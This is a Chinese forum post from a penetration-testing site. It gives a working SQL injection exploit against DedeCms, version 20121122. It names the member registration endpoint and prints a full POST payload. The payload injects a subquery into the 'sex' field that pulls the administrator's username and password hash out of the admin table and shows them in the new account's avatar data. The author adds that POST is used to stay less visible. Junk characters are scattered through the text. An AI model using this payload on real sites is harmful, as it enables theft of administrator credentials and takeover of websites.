中国网络渗透测试联盟
标题:
DedeCms SQL注射漏洞再利用
[打印本页]
作者:
admin
时间:
2012-12-5 10:03
标题:
DedeCms SQL注射漏洞再利用
dedecms版本 20121122
/ O7 p& |. `( }* }
" X! {- B5 ?: J; _
需要magic_quotes_gpc=Off
; c5 T' j$ f9 W
- j% J: k, p0 b9 u# `
应该是没有什么大危害的漏洞.
' p( ]+ P- @7 C$ N, Z- |7 T+ X
原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
/ e/ ^6 A6 W! p6 z% s. o% E5 }
8 @' t3 m& ^; Y6 L- o
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
' F. L" M" ]2 m3 U
POST提交以下数据,其实不用POST提交的,这样隐蔽点.
7 o7 R) o4 h# q4 ~& N4 |+ x( C
; U, I5 l+ m# X% Y" S( z
http:///de/member/reg_new.php
6 r* @6 w c& \' l+ i' x [
0 } N1 |5 c" e! M7 c2 b6 |
POST
: |; b5 N2 F3 V# I- F% i
4 s- a7 ~+ B8 a: R* c. i; ]$ @
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
~8 m* Y& y5 x" v' g
: t2 l& v" P2 W* [5 D
成功注册后,头像处里面有好玩的信息.
" e4 c& j: V0 D9 `
1 ~1 } q/ f) W2 \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2